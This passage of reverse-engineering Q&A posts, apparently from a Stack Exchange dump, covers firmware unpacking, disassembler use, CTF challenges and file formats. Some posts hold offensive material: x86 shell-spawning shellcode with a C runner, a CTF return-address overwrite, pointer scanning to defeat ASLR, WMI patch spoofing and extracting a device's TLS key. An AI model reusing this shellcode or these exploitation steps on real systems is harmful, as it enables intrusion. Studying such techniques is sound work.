+4047372       0x3DC20C        Zlib compressed data, compressed
+4064780       0x3E060C        Zlib compressed data, compressed
+4065804       0x3E0A0C        Zlib compressed data, compressed
+4133900       0x3F140C        Zlib compressed data, compressed
+4135436       0x3F1A0C        Zlib compressed data, compressed
+4140556       0x3F2E0C        Zlib compressed data, compressed
+4142092       0x3F340C        Zlib compressed data, compressed
+4147212       0x3F480C        Zlib compressed data, compressed
+4148748       0x3F4E0C        Zlib compressed data, compressed
+
+And the second command to extract file: +
$ binwalk -e /Users/Me/Documents/Reverse/dump_all.bin -C /Users/me/Documents/Reverse/dump_all 
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+
+WARNING: Extractor.execute failed to run external extractor '7z e -y '%e'': [Errno 2] No such file or directory
+52150         0xCBB6          LZMA compressed data, properties: 0xC8, dictionary size: 16777216 bytes, uncompressed size: 65536 bytes
+55216         0xD7B0          eCos RTOS string reference: "ecos.bin.lzma"
+55232         0xD7C0          eCos RTOS string reference: "ecos.bin.gz"
+66048         0x10200         JPEG image data, JFIF standard 1.02
+66078         0x1021E         TIFF image data, big-endian, offset of first image directory: 8
+68069         0x109E5         Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#' xmlns:iX='http://ns.adobe.com/iX/1.0/'>
+68238         0x10A8E         Unix path: /ns.adobe.com/xap/1.0/mm/'>
+131072        0x20000         romfs filesystem, version 1 size: 2439392 bytes, named "rom 5c67f699"
+
+WARNING: Extractor.execute failed to run external extractor 'cramfsck -x '%%cramfs-root%%' '%e'': [Errno 2] No such file or directory
+
+WARNING: Extractor.execute failed to run external extractor 'cramfsswap '%e' '%e.swap' && cramfsck -x '%%cramfs-root%%' '%e.swap'': [Errno 2] No such file or directory
+2621440       0x280000        CramFS filesystem, little endian, size: 12288 version 2 sorted_dirs CRC 0xA76D500A, edition 0, 5 blocks, 20 files
+
+WARNING: Extractor.execute failed to run external extractor 'cramfsck -x '%%cramfs-root%%' '%e'': [Errno 2] No such file or directory
+
+WARNING: Extractor.execute failed to run external extractor 'cramfsswap '%e' '%e.swap' && cramfsck -x '%%cramfs-root%%' '%e.swap'': [Errno 2] No such file or directory
+2883584       0x2C0000        CramFS filesystem, little endian, size: 819200 version 2 sorted_dirs CRC 0xB7F50F6A, edition 0, 976 blocks, 362 files
+3739148       0x390E0C        Zlib compressed data, compressed
+3741196       0x39160C        Zlib compressed data, compressed
+3743756       0x39200C        Zlib compressed data, compressed
+3744780       0x39240C        Zlib compressed data, compressed
+3746316       0x392A0C        Zlib compressed data, compressed
+3750924       0x393C0C        Zlib compressed data, compressed
+3752460       0x39420C        Zlib compressed data, compressed
+3753996       0x39480C        Zlib compressed data, compressed
+3755532       0x394E0C        Zlib compressed data, compressed
+3757068       0x39540C        Zlib compressed data, compressed
+3758604       0x395A0C        Zlib compressed data, compressed
+3867148       0x3B020C        Zlib compressed data, compressed
+3901964       0x3B8A0C        Zlib compressed data, compressed
+3903500       0x3B900C        Zlib compressed data, compressed
+3905036       0x3B960C        Zlib compressed data, compressed
+3906572       0x3B9C0C        Zlib compressed data, compressed
+3908108       0x3BA20C        Zlib compressed data, compressed
+3909644       0x3BA80C        Zlib compressed data, compressed
+3911180       0x3BAE0C        Zlib compressed data, compressed
+3912716       0x3BB40C        Zlib compressed data, compressed
+3914252       0x3BBA0C        Zlib compressed data, compressed
+4020748       0x3D5A0C        Zlib compressed data, compressed
+4022284       0x3D600C        Zlib compressed data, compressed
+4023820       0x3D660C        Zlib compressed data, compressed
+4041740       0x3DAC0C        Zlib compressed data, compressed
+4045836       0x3DBC0C        Zlib compressed data, compressed
+4047372       0x3DC20C        Zlib compressed data, compressed
+4064780       0x3E060C        Zlib compressed data, compressed
+4065804       0x3E0A0C        Zlib compressed data, compressed
+4133900       0x3F140C        Zlib compressed data, compressed
+4135436       0x3F1A0C        Zlib compressed data, compressed
+4140556       0x3F2E0C        Zlib compressed data, compressed
+4142092       0x3F340C        Zlib compressed data, compressed
+4147212       0x3F480C        Zlib compressed data, compressed
+4148748       0x3F4E0C        Zlib compressed data, compressed
+
+And the output folder looks like this: + +I also tried 7zip to extract files, and below is the screenshot of extracted files: + +It looks like 7zip extracted the file structure I am looking for but problem is that it didn't extract files there are only folders only and there was an error message, too: + +Here is the link to firmware. +" +['arduino']," Title: How would I sniff kline data packetsBody: I have a board that is using kline to communicate and I have a tool that can read the software from that board. I want to see the communication that is happening between the two to see how the tool is able to read the firmware from that board. +I didn't find any tool or any information on how to sniff kline packets. Found only how to sniff CAN packets. + +I it is possible to sniff data using arduino or raspberry or any other tool. + +All I'm interested in is making a software that can read the firmware from that board. +" +"['ida', 'binary-analysis']"," Title: Using IDA to find pointer passed to procedureBody: Loading the source into IDA, I have this function: + + + +According to the source for Lua, this function should be passed a pointer to the Lua_State struct: + +
LUA_API int lua_gettop (lua_State *L) {
+  return cast_int(L->top - L->base);
+}
+
+ +I'm currently trying to figure out what pointer is being passed to this procedure (In this case arg_0). I can attach a breakpoint and it correctly breaks, but how would I find the associated .data location for where it's stored? +" +"['gdb', 'x86-64']"," Title: R13 off by 2 bytes. Any help?Body: in this challenge i have to overwrite RIP register to point to the function ""print_flags"" which calls ""getenv"" to get the ""FLAGS"" variable. + +I have overwritten RIP register with the address of ""print_flags"", but when it is going to call ""getenv"" i get a SIGSEGV because of the argument passed to getenv which is ""AGS"" instead of ""FLAGS"". + +What am i doing wrong? + + + +
00000000004006a6 <read_all_stdin>:
+  4006a6:   55                      push   rbp
+  4006a7:   48 89 e5                mov    rbp,rsp
+  4006aa:   48 83 ec 20             sub    rsp,0x20
+  4006ae:   48 89 7d e8             mov    QWORD PTR [rbp-0x18],rdi
+  4006b2:   c7 45 fc 00 00 00 00    mov    DWORD PTR [rbp-0x4],0x0
+  4006b9:   eb 18                   jmp    4006d3 <read_all_stdin+0x2d>
+  4006bb:   8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
+  4006be:   8d 50 01                lea    edx,[rax+0x1]
+  4006c1:   89 55 fc                mov    DWORD PTR [rbp-0x4],edx
+  4006c4:   48 63 d0                movsxd rdx,eax
+  4006c7:   48 8b 45 e8             mov    rax,QWORD PTR [rbp-0x18]
+  4006cb:   48 01 d0                add    rax,rdx
+  4006ce:   8b 55 f8                mov    edx,DWORD PTR [rbp-0x8]
+  4006d1:   88 10                   mov    BYTE PTR [rax],dl
+  4006d3:   48 8b 05 86 09 20 00    mov    rax,QWORD PTR [rip+0x200986]        # 601060 <stdin@@GLIBC_2.2.5>
+  4006da:   48 89 c7                mov    rdi,rax
+  4006dd:   e8 ae fe ff ff          call   400590 <fgetc@plt>
+  4006e2:   89 45 f8                mov    DWORD PTR [rbp-0x8],eax
+  4006e5:   83 7d f8 ff             cmp    DWORD PTR [rbp-0x8],0xffffffff
+  4006e9:   75 d0                   jne    4006bb <read_all_stdin+0x15>
+  4006eb:   90                      nop
+  4006ec:   c9                      leave  
+  4006ed:   c3                      ret    
+
+00000000004006ee <print_flags>:
+  4006ee:   55                      push   rbp
+  4006ef:   48 89 e5                mov    rbp,rsp
+  4006f2:   48 8d 3d 0b 01 00 00    lea    rdi,[rip+0x10b]        # 400804 <_IO_stdin_used+0x4>
+  4006f9:   e8 52 fe ff ff          call   400550 <getenv@plt>
+  4006fe:   48 89 c7                mov    rdi,rax
+  400701:   e8 5a fe ff ff          call   400560 <puts@plt>
+  400706:   bf 00 00 00 00          mov    edi,0x0
+  40070b:   e8 90 fe ff ff          call   4005a0 <exit@plt>
+
+0000000000400710 <main>:
+  400710:   55                      push   rbp
+  400711:   48 89 e5                mov    rbp,rsp
+  400714:   48 83 ec 20             sub    rsp,0x20
+  400718:   48 8d 45 e0             lea    rax,[rbp-0x20]
+  40071c:   ba 20 00 00 00          mov    edx,0x20
+  400721:   be 00 00 00 00          mov    esi,0x0
+  400726:   48 89 c7                mov    rdi,rax
+  400729:   e8 52 fe ff ff          call   400580 <memset@plt>
+  40072e:   48 8d 45 e0             lea    rax,[rbp-0x20]
+  400732:   48 89 c7                mov    rdi,rax
+  400735:   e8 6c ff ff ff          call   4006a6 <read_all_stdin>
+  40073a:   48 8d 45 e0             lea    rax,[rbp-0x20]
+  40073e:   0f b6 00                movzx  eax,BYTE PTR [rax]
+  400741:   84 c0                   test   al,al
+  400743:   75 0e                   jne    400753 <main+0x43>
+  400745:   48 8d 3d be 00 00 00    lea    rdi,[rip+0xbe]        # 40080a <_IO_stdin_used+0xa>
+  40074c:   e8 0f fe ff ff          call   400560 <puts@plt>
+  400751:   eb 18                   jmp    40076b <main+0x5b>
+  400753:   48 8d 45 e0             lea    rax,[rbp-0x20]
+  400757:   48 89 c6                mov    rsi,rax
+  40075a:   48 8d 3d bc 00 00 00    lea    rdi,[rip+0xbc]        # 40081d <_IO_stdin_used+0x1d>
+  400761:   b8 00 00 00 00          mov    eax,0x0
+  400766:   e8 05 fe ff ff          call   400570 <printf@plt>
+  40076b:   b8 00 00 00 00          mov    eax,0x0
+  400770:   c9                      leave  
+  400771:   c3                      ret    
+  400772:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
+  400779:   00 00 00 
+  40077c:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]
+
+ +Here are some screenshots of the payload that i used to and the Segmentation fault error: + + +UPDATE: Fixing the memory out of bounds, now i get another SIGSEGV: + +Stopped reason: SIGSEGV +__strlen_sse2 () at ../sysdeps/x86_64/multiarch/../strlen.S:120 +120 ../sysdeps/x86_64/multiarch/../strlen.S: No such file or directory. + +I've read some articles and it might be a NULL terminated string problem or like EOF problem from fgets? + +I'm freaking out for this. + + +" +"['firmware', 'hardware']"," Title: Need help : restoring a netgear dgn1000 v3 adsl modem/routerBody: coming in from openwrt forum: https://forum.openwrt.org/t/trying-to-rescue-bricked-dgn1000-v3-need-help/36909 + +currently have serial console but i may have borked the u-boot looking for help on how to jtag or spi flash the chip to restore original firmware on the modem + +Currently on the serial console i get this output + +
ROM VER: 1.2.0                                                                  
+
+CFG 04                                                                          
+
+EEPROM Data OK                                                                  
+
+UART
+
+ +running binwalk gives: + +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+192           0xC0            Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 3548940 bytes, 1283 inodes, blocksize: 131072 bytes, created: 2015-04-07 07:20:16
+3551424       0x3630C0        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5398000 bytes
+
+ +extracting gives: + + +here's the serial output logs before i bricked the device at the end you can see the upload got interrupted and bricked the device + https://pastebin.com/SQUsq1Zv + +need help/ideas/pointers on how to reflash the original firmware. +thanks. +" +"['ida', 'arm']"," Title: MEMORY macro in IDA Pro pseudocodeBody: I have a 32-bit ARM Linux kernel module with debug symbols. When it is decompiled, it produces many functions that have a macro called MEMORY in them. Here is an example: + +
int S_u8init_flag = 0; // Context for function internals
+int aess_adcsensor_release(inode *inode, file *filp) {
+  int result;
+
+  result = 0;
+  MEMORY[0xF0014000] &= 0xFFFDFFFF; // What does this mean?
+  S_u8init_flag = 0;
+  return result;
+}
+
+ +What does this MEMORY macro mean? Is there a C99 equivalent to it, or is it an IDA-specific macro? +" +['windows-10']," Title: How can I spoof WMI data?Body: I want to add a fake KB to the OS, and see it using wmic qfe list. So do you know how can I create a faked KB? Or if it is possible to cause WMI to report a specific KB? +" +"['debugging', 'android', 'apk']"," Title: Unable to attach java sources to APK being debugged in Android Studio -- Option not displayedBody: This article (https://developer.android.com/studio/debug/apk-debugger) explains how to debug third-party APKs and set breakpoints by attaching the java source (you can use decompiled code to get it mostly working). Other tutorials online likewise give the same instruction, which is to open the smali file in Android studio, and when presented with the banner saying to attach Java sources, click the link in the banner to attach them. The problem is when I do this myself, there is no link in the banner. I've tried context menus, scouring the toolbar, searching online, but no one mentions what to do in this situation. I can't find another method of attaching them except from this one place, so there's no fallback. + + +" +"['exploit', 'heap']"," Title: Explanation of heap shaping technique and how it is different from heap sprayingBody: Recent RDP vulnerability and exploits have mentioned the use of heap shaping technique. +Can anyone please explain in details what is actually involved in using this tactic. + +Thanks +" +"['binary-analysis', 'firmware', 'decompress', 'binwalk']"," Title: unsquashfs failed to read SquashFS fileBody: I tried to unpack binary which is SquashFS system, the file is mtd partition copied from NAND device, Root filesystem (read-only). Actually its SquashFS version, modifyed/patched by vendor. +binwalk show: + +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+0             0x0             Squashfs filesystem, little endian, non-standard signature, version 3.1, size: 8372772 bytes, 1028 inodes, blocksize: 131072 bytes, created: 2017-08-02 06:39:51
+
+ +First I tried to unsquash it use unsquashfs utility, compiled from the source, provided by vendor in their GPL release, but not works. +(more precisely, the GPL source is for the previous version of F/W release, whereas I have a more recent F/W version) + +
./unsquashfs mtd4.bin
+Parallel unsquashfs: Using 4 processors
+Lseek failed because Invalid argument
+sqlzma_un: ZLIB data error
+Aborted
+
+ +Tried also use sasquatch utility: + +
sasquatch mtd4.bin
+SquashFS version [3.1] / inode count [1028] suggests a SquashFS image of the same endianess
+Non-standard SquashFS Magic: shsq
+Parallel unsquashfs: Using 1 processor
+Lseek failed because Invalid argument
+read_block: failed to read block @0x92e6f69dab953c47
+read_fragment_table: failed to read fragment table block
+FATAL ERROR:failed to read fragment table
+
+ +Can anybody advice how to unpack file? +" +['ghidra']," Title: Automate looking for calls to an offset of a structureBody: I want to automate the search for function calls to a function that does not live in the binary and where the function address is passed, via a pointer to a struct, at runtime through a function parameter. + +As an example, the first parameter of a JNI class is JNIEnv* which is a struct that contains, among other things, pointers to JNI functions. If you decompile a JNI function, you might see something like this: + + + +
Java_com_example_ExampleClass_exampleMethod(JNIEnv*, ...) {
+   ...
+   clazz = (*(*env)->FindClass)(env,jniClass);
+   ...
+}
+
+ +Using Ghidra's pcode API, is it possible to automate locating all references to the FindClass function? For reference, the call to FindClass will look something like the following in x86 assembly and pcode. + +
  000fd2be 8b 0f           MOV        ECX,dword ptr [EDI]
+                                              $U16f0:4 = LOAD ram(EDI)
+                                              ECX = COPY $U16f0
+
+
+  000fd2c7 ff 51 18        CALL       dword ptr [ECX + 0x18]
+                                              $U3a0:4 = INT_ADD ECX, 24:4
+                                              ESP = INT_SUB ESP, 4:4
+                                              STORE ram(ESP), 0xfd2ca:4
+                                              $U16f0:4 = LOAD ram($U3a0)
+                                              CALLIND $U16f0
+
+" +"['linux', 'decryption', 'security', 'sniffing', 'wireshark']"," Title: Sniffing TCP packets using WiresharkBody: I am trying to reverse engineer a decoder. The decoder contains a web server that makes sending/receiving information through the Internet possible. +To do so I need to sniff the packets that the decoder receives from an Android application installed on my phone, this application is what controls the decoder. + +I tried using Wireshark at first, but it turned out that the packets are sent over SSL, so they are all encrypted. I then tried to sniff my TCP packets using mitmproxy, which didn't work since it doesn't sniff TCP packets, it only logs packets sent over HTTP. + +After reading the answers to the following question How can I capture all traffic network by mitmproxy?. I decided to give Wireshark a second try. + +However, I need the private key which is stored on the decoder. This will enable me the decrypt the SSL packets. + +Is there any way I can get this private key from the decoder? would openssl solve this problem? I am on Linux, Ubuntu. + +I would appreciate some help with this! +" +['ghidra']," Title: Renaming shadowed variables in GhidraBody: I'm working on a function in the Ghidra decompiler with a bunch of variables that are re-used across different scopes. I don't see any way to rename this variable on a per-line basis. Is it possible? +" +['hardware']," Title: Using an arduino or raspberry pi, how can I drive and control a proprietary diehen servomotor?Body: +I’m trying to resurrect this robot from Daihen-I need to determine how this proprietary motor and encoder are wired. Anyone got experience with this? +" +"['decryption', 'python']"," Title: picoCTF be-quick-or-be-dead-1 dcrypt simulation with pythonBody: This is be-quick-or-be-dead-1 in picoCTF challenge (Download) + +in this file we can see decrypt_flag() function, this function return this flag: + +
./be-quick-or-be-dead-1 
+Calculating key...
+Done calculating key
+Printing flag:
+picoCTF{why_bother_doing_unnecessary_computation_fedbb737}
+
+ +i wanted to implement this function with python, and i wrote this code: + +
key=[0x2c,0x97,0xa5,0xe9]
+i=0
+flag=[0x5c,0xfe,0xc6,0x86,0x6e,0xc3,0xe3,0x92,0x59,0xff,0xdc,0xb6,0x4d,0xf8,0xd1,0x81,0x55,0xe5,0xfa,0x8d,0x5e,0xfe,0xcb,0x8e,0x6d,0xe2,0xcb,0x87,0x56,0xf4,0xc0,0x9a,0x47,0xf6,0xd7,0x90,0x6a,0xf4,0xca,0x84,0x46,0xe2,0xd1,0x88,0x43,0xfe,0xca,0x87,0x67,0xf1,0xc0,0x8d,0x5b,0xf5,0x92,0xda,0x0d,0xea]
+while i < 58 :
+    flag[i] = chr(flag[i] ^ key[(i&3)])
+    i=i+1
+
+print """".join(flag)
+
+ +but when i run it, print wrong flag: + +
picoBTF{uhy_aothyr_dringAunnzceskaryFcomjutaoionKfedwb73!}
+
+ +what is my problem? + +thank you +" +"['debugging', 'gdb', 'exploit']"," Title: gdb - searching for pointers to a given memory regionBody: Let's suppose there is a memory region that is m'mapped in memory, we need to find its address (which randomly changes, because of ASLR) by following a pointer path, basically, I'm trying to find a possibly multilevel pointer that leads to any address in that memory region, and that starts from an address in a memory region I choose, is that possible to do with gdb? I've checked out the popular gdb extensions (peda, pwndbg), but didn't find such a feature, if there is no existing implementation, any tips on how to optimize the search? Kind of like the Pointer Scanner of Cheat Engine, pointers can also have offsets (for example : main_module+3170 -> 0x7fff42dc7220 ; 0x7fff42dc7220+10 -> 0x7ff464213460 ; 0x7ff464213460 -> address wanted). + +This would be useful for example in a context where we have a write-what-where condition (we can write or read anywhere in memory), and we need to defeat ASLR to find interesting memory regions (for example, JIT buffers in browsers). +" +"['disassembly', 'debugging', 'gdb']"," Title: eip register address not matching with address at breakpoint (breakpoint set at main function)Body: I recently started reading a book about reverse engineering. In one of the examples it uses gdb (debugger) to disassemble the main. So I did it, and the output is below + +
(gdb) disass main
+Dump of assembler code for function main:
+   0x0000118d <+0>: lea    ecx,[esp+0x4]
+   0x00001191 <+4>: and    esp,0xfffffff0
+   0x00001194 <+7>: push   DWORD PTR [ecx-0x4]
+   0x00001197 <+10>:    push   ebp
+   0x00001198 <+11>:    mov    ebp,esp
+   0x0000119a <+13>:    push   ebx
+   0x0000119b <+14>:    push   ecx
+   0x0000119c <+15>:    sub    esp,0x10
+   0x0000119f <+18>:    call   0x1090 <__x86.get_pc_thunk.bx>
+   0x000011a4 <+23>:    add    ebx,0x2e5c
+   0x000011aa <+29>:    mov    DWORD PTR [ebp-0xc],0x0
+   0x000011b1 <+36>:    jmp    0x11c9 <main+60>
+   0x000011b3 <+38>:    sub    esp,0xc
+   0x000011b6 <+41>:    lea    eax,[ebx-0x1ff8]
+   0x000011bc <+47>:    push   eax
+   0x000011bd <+48>:    call   0x1030 <puts@plt>
+   0x000011c2 <+53>:    add    esp,0x10
+   0x000011c5 <+56>:    add    DWORD PTR [ebp-0xc],0x1
+   0x000011c9 <+60>:    cmp    DWORD PTR [ebp-0xc],0x9
+   0x000011cd <+64>:    jle    0x11b3 <main+38>
+--Type <RET> for more, q to quit, c to continue without paging--
+   0x000011cf <+66>:    mov    eax,0x0
+   0x000011d4 <+71>:    lea    esp,[ebp-0x8]
+   0x000011d7 <+74>:    pop    ecx
+   0x000011d8 <+75>:    pop    ebx
+   0x000011d9 <+76>:    pop    ebp
+   0x000011da <+77>:    lea    esp,[ecx-0x4]
+   0x000011dd <+80>:    ret    
+End of assembler dump.
+
+ +And now I put a breakpoint at main to check the eip register value and compare it with address at main function as shown below + +
(gdb) info register eip
+eip            0x565561aa          0x565561aa <main+29>
+
+ +And here comes the problem, eip register value is not matching with the address at main in my case (shown below), + +
0x000011aa <+29>:   mov    DWORD PTR [ebp-0xc],0x0
+
+ +whereas in the example it was mentioned that it will match. Please help me in solving this. Thanks in advance. + +Update : examining instruction at eip , address matches with eip but not with address in the memory dumb shown above + +
(gdb) x/i $eip
+=> 0x565561aa <main+29>:    mov    DWORD PTR [ebp-0xc],0x0
+
+" +['proxy']," Title: Is it possible to proxify custom windows application without installing any additional software (programatically)Body: Is it possible somehow to set reverse proxy for a windows application (e.g. by creating a wrapper launcher for this application) that will proxify all HTTP/S requests of this application? +" +"['ida', 'windows', 'debugging', 'windbg', 'kernel']"," Title: Analyzing Windows kernel driverBody: I'm trying to analyze some Windows kernel driver. What I want to achieve is full execution trace, from driver entry to end point. Driver is heavily virtualized and contains multiple anti-debugging checks so using WinDbg isn't an option. I have tried VMWare gdb stub connected with IDA but tracing seems to doesn't work, it hangs and even few hours aren't enough. Have you any ideas how to do it in the simplest way? +" +"['ida', 'linux', 'gdb', 'stack', 'heap']"," Title: Find out if address store in heap or stackBody: While dynamic debugging with ida and gdb-server on binary file running on linux , I saw address that store some value. + +How can I know if this address allocated in stack or in heap? +" +"['ida', 'binary-analysis', 'pe32']"," Title: GetProcAddress with 0 as lpProcNameBody: I'm reversing a 32bit binary for a challenge I got at a college lab and I'm having a hard time trying to understand the intent of the asm code. + +The binary is a 10 level reversing game where you get no info at the start and have to figure out everything on your way on building a flag at the end. + +Basically it uses a lot of encryption techniques to derive strings from integer values (as far as I got). I figured out some of the imports it uses like LoadLibraryA, GetProcAddress (I guess it uses them later on somehow). + +Where I'm currently stuck is the asm code calls GetProcAddress with kernel32.dll handle as the first argument and 0( or NULL I guess ) as the second argument. The return I get is then used to make some integer division. My problem is that I get NULL from the GetProcAddress call and then when hitting the idiv, I get a Division By 0 Exception thrown. + +Here's a picture: + +On 0x00401A85 eax is 0(NULL). Any ideas on how to solve this? What's the idea behind passing 0(NULL) as the second parameter? + +Thanks! +" +"['binary-analysis', 'file-format']"," Title: Which file system is this? file type 0x00, folder type 0x01Body: Inside a internet radio firmware file I found a file system, and I don't know which one it is. + +What I know: + + + +All offsets and lengths are little endian. + +What file system could that be? I don't think that the developers built their own file system. + +
+ +The firmware file is from http://update.wifiradiofrontier.com/Update.aspx?c=ir-mmi-FS2026-0500-0052&m=1122334455&v=2.6.17.EX53300-2RC3&t=Cust-File&n=2.11.12.EX65933-4RC2&f=/updates/ir-mmi-FS2026-0500-0052.2.11.12.EX65933-4RC2.isu.bin + +binwalk does not detect the filesystem. + +The file system I mean starts at 0x1dc1e6. I already wrote a working parser for that file system, but I'd like to know if that is a known fs type. +" +"['disassembly', 'binary', 'encodings']"," Title: Translating a Korean Exclusive PS2 game ~ hangeul encoding?Body: I got my hands on a copy of Mystic Nights, a survival horror game for the PS2 realeased exclusively in Korea. The game's text is all in Hangeul (Korean writting system). I extracted the ISO and cracked it open in hopes of translating the game to english but i can't figure out where the text is stored. I've located graphic files (TIM2, .TM2) nested inside of .RES files (resource files?) I was able to extract those TIM2 images with an executable i found on romhacking.net. I noticed that there are TIM2 images holding character tables for hangeul. I can't really see any other pertinent files that may hold text besides two large binary files DATA1.BIN and DATA2.BIN. (each about 500mb in size) +If this were a japanese game, i would search the binary files for JIS encoded text... but unfortunately that is not the case. + +Any ideas on how i could proceed? + +Thanks. +" +"['assembly', 'c', 'shellcode']"," Title: x86 shellcode leads to segmentation faultBody: I want to execute execve(""/bin/dash"", &""/bin/dash"", NULL) on Ubuntu 64 bit with the following 32 bit shellcode: + +
global _start
+
+_start:
+    xor eax, eax ; set eax = 0 to push a null without using 0x0
+    push eax ; eax = null pointer
+
+    mov edx, esp ; edx = null pointer
+
+    ; push '/bin/dash' into stack
+    ; but length of string actually needs to be divisible by 4,
+    ; otherwise there will be a 0x00 in the string, so:
+    ; push null pointer first, then
+    ; push '////bin/dash' into stack
+    push eax ; eax = null pointer
+    push 0x68736164
+    push 0x2f6e6962
+    push 0x2f2f2f2f
+
+    mov ebx, esp ; ebx = string pointer '////bin/dash'
+    push ebx
+    mov ecx, esp ; ecx = pointer to string pointer
+    mov eax, 0xfffffff4 
+    not eax ; eax = 0xb = pointer to execve
+    int 0x80 ; interrupt system call
+
+ +I compile the assembler code with the following line and then extract the machine code: + +
$ nasm -felf32 shellcode.asm -o x.o && ld -m elf_i386 x.o -o shellcode
+$ objdump -d shellcode -M intel -s
+shellcode:     file format elf32-i386
+
+Contents of section .text:
+ 8048060 31c05089 e2506864 61736868 62696e2f  1.P..Phdashhbin/
+ 8048070 682f2f2f 2f89e353 89e1b8f4 fffffff7  h////..S........
+ 8048080 d0cd80                               ..P             
+
+Disassembly of section .text:
+
+08048060 <_start>:
+ 8048060:   31 c0                   xor    eax,eax
+ 8048062:   50                      push   eax
+ 8048063:   89 e2                   mov    edx,esp
+ 8048065:   50                      push   eax
+ 8048066:   68 64 61 73 68          push   0x68736164
+ 804806b:   68 62 69 6e 2f          push   0x2f6e6962
+ 8048070:   68 2f 2f 2f 2f          push   0x2f2f2f2f
+ 8048075:   89 e3                   mov    ebx,esp
+ 8048077:   53                      push   ebx
+ 8048078:   89 e1                   mov    ecx,esp
+ 804807a:   b8 f4 ff ff ff          mov    eax,0xfffffff4
+ 804807f:   f7 d0                   not    eax
+ 8048081:   cd 80                   int    0x80
+
+ +Then I'm trying to execute my shellcode with this c file: + +
#include <stdio.h>
+#include <string.h>
+
+char *shellcode = ""\x31\xc0\x50\x89\xe2\x50\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x53\x89\xe1\xb8\xf4\xff\xff\xff\xf7\xd0\xcd\x80"";
+
+int main()
+{
+    fprintf(stdout,""Length: %d\n"",strlen(shellcode));
+    (*(void  (*)()) shellcode)();
+}
+
+ +I compile this file with: + +
gcc -m32 -fno-stack-protector test_shellcode.c -o test_shellcode
+
+ +But this leads to a segmentation fault. +I debugged my shellcode with gdb and it looks like my shellcode is working fine but the first line that uses the register al or ah leads to the segmentation fault. + +How can I fix that? +" +"['patching', 'apk', 'ghidra', 'shared-object']"," Title: How to export to *.so file after patching in ghidraBody: I'm using ghidra to patch an *.so file in the Android APK. +While exporting the patched file from ghidra, using the ""Export program"" option from the ""File"" menu, it don't have *.so in the supported ""Format"". + + + +How can I export to *.so file? + + + +This might be a very silly question but it would be great if someone could give me any hints. +" +"['ida', 'disassembly']"," Title: How is sprintf() identified by IDApro?Body:
#include<stdio.h>
+int main()
+{
+    char buffer[50];
+    int a = 10, b = 20, c;
+    c = a + b;
+    sprintf(buffer, ""Sum of %d and %d is %d"", a, b, c);
+
+    // The string ""sum of 10 and 20 is 30"" is stored
+    // into buffer instead of printing on stdout
+    printf(""%s"", buffer);
+
+    return 0;
+}
+
+ +How is this code disassembled by IDApro? +" +"['decompress', 'c#']"," Title: Decompress from file with crush32Body: I have some files *.bli, *.ilg, *.pix, etc. These files are from technical documentation LinkOne, and compressed with old C/Win32 compression library crush32.dll. + +information can be found here +Reverse engineering file format - ImageLink + +I found c# code to decompress it, but it is not working. What did I do wrong? I tried to read s001.bli, it`s ok, than from result gets ""true"" and that's all. decompressedPixelData is empty, with size 0. + +I run the code through Visual Studio 2012 on emulated Windows 7 X86 in VirtualBox. The crush32.dll library seems to work only with x86, although on win10 x64 the result is exactly the same. + +Files and dll: https://drive.google.com/file/d/1GipwXL9ikog1YVu46uqxLfuuY1Rk-5Pc/view + +Code: + +
using System;
+using System.Collections.Generic;
+using System.Runtime.InteropServices;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.IO;
+
+namespace Crush32Wrap
+{
+    public unsafe static class Crush32
+    {
+        #region Private PINVOKE signatures
+        /// <summary>
+        /// Name of legacy crush32.dll file (put it in same folder!)
+        /// </summary>
+        public const string DLLName = ""crush32.dll"";
+        public const string FName = ""s001.bli"";
+
+        /// <summary>
+        /// The cxERROR for SUCCESS
+        /// </summary>
+        private const short CX_SUCCESS = 0;
+
+        /// <summary>
+        /// Initializes the library
+        /// </summary>
+        /// <returns>cxERROR statevalue</returns>
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        private static extern short cxInit();
+
+        /// <summary>
+        /// Cleanup
+        /// </summary>
+        /// <returns>cxERROR statevalue</returns>
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        private static extern short cxCleanup();
+
+        /// <summary>
+        /// Initializes a buffer to buffer operation.
+        /// </summary>
+        /// <returns>cxERROR statevalue</returns>
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        private static extern short cxBuf2BufInit();
+
+        /// <summary>
+        /// Closes a buffer to buffer operation
+        /// </summary>
+        /// <returns>cxERROR statevalue</returns>
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        private static extern short cxBuf2BufClose();
+
+        /// <summary>
+        /// Decrypts data in a buffer.
+        /// </summary>
+        /// <param name=""Buffer"">A pointer to the data to be decrypted.</param>
+        /// <param name=""Length"">How many bytes should be decrypted.</param>
+        /// <param name=""Challenge"">The Challenge used to test your password first.</param>
+        /// <param name=""ExpectedResponse"">The ExpectedResponse matching your Challenge and your password.</param>
+        /// <returns>cxERROR statevalue</returns>
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        private static extern short cxBufDecrypt(byte* Buffer, int Length, uint Challenge, uint ExpectedResponse);
+
+        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
+        private static extern short cxBufDecrypt(IntPtr Buffer, int Length, uint Challenge, uint ExpectedResponse);
+
+
+        /// <summary>
+        /// Encrypts data in a buffer.
+        /// </summary>
+        /// <param name=""Buffer"">A pointer to the data to be encrypted.</param>
+        /// <param name=""Length"">How many bytes should be encrypted.</param>
+        /// <param name=""Challenge"">The Challenge used to create the returnvalue.</param>
